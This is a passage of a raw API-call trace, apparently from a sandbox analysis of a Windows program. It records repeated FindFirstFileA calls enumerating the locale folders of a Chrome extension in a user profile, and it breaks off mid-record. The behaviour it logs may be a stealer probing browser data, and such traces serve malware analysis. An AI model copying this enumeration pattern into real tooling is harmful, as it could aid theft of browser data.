cAlternateFileName="")) returned 0x549a10 [0190.169] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\el\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb4e4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb4e4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.183] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_GB\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb4e4c0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb4e4c0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.188] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\en_US\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e72c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb74620, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb74620, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.196] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb9a780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb9a780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.201] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\es_419\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb9a780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb9a780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.206] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\et\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e98d70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeb9a780, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeb9a780, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.210] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\eu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeebc08e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeebc08e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.216] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeebc08e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeebc08e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.220] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ebeed0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeebc08e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeebc08e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.226] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeebe6a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeebe6a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.231] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeebe6a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeebe6a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.236] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86ee5030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeebe6a40, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeebe6a40, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.241] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec0cba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec0cba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.247] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec0cba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec0cba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.252] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec0cba0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec0cba0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.258] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\it\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec32d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec32d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.263] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec32d00, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec32d00, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.273] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ko\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f0b190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec58e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec58e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.278] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec58e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec58e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.283] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec58e60, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec58e60, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.288] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ms\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec7efc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec7efc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.294] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\nl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec7efc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec7efc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.298] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\no\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f312f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeec7efc0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeec7efc0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.304] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeca5120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeca5120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.309] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_BR\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeca5120, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeca5120, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.316] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\pt_PT\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeccb280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeccb280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.320] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ro\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeccb280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeccb280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.327] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ru\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeeccb280, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeeccb280, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.332] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86f57450, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeecf13e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeecf13e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.337] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sl\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeecf13e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeecf13e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.342] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeecf13e0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeecf13e0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.348] GetFileType (hFile=0x174) returned 0x1 [0190.350] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sv\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fc9870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed17540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed17540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.355] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\th\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed17540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed17540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.360] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\tr\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed17540, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed17540, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.365] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xeed3d6a0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xeed3d6a0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3d000835, cFileName=".", cAlternateFileName="")) returned 0x549a10 [0190.371] FindFirstFileA (in: lpFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*", lpFindFileData=0x4a5ce0 | out: lpFindFileData=0x4a5ce0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, 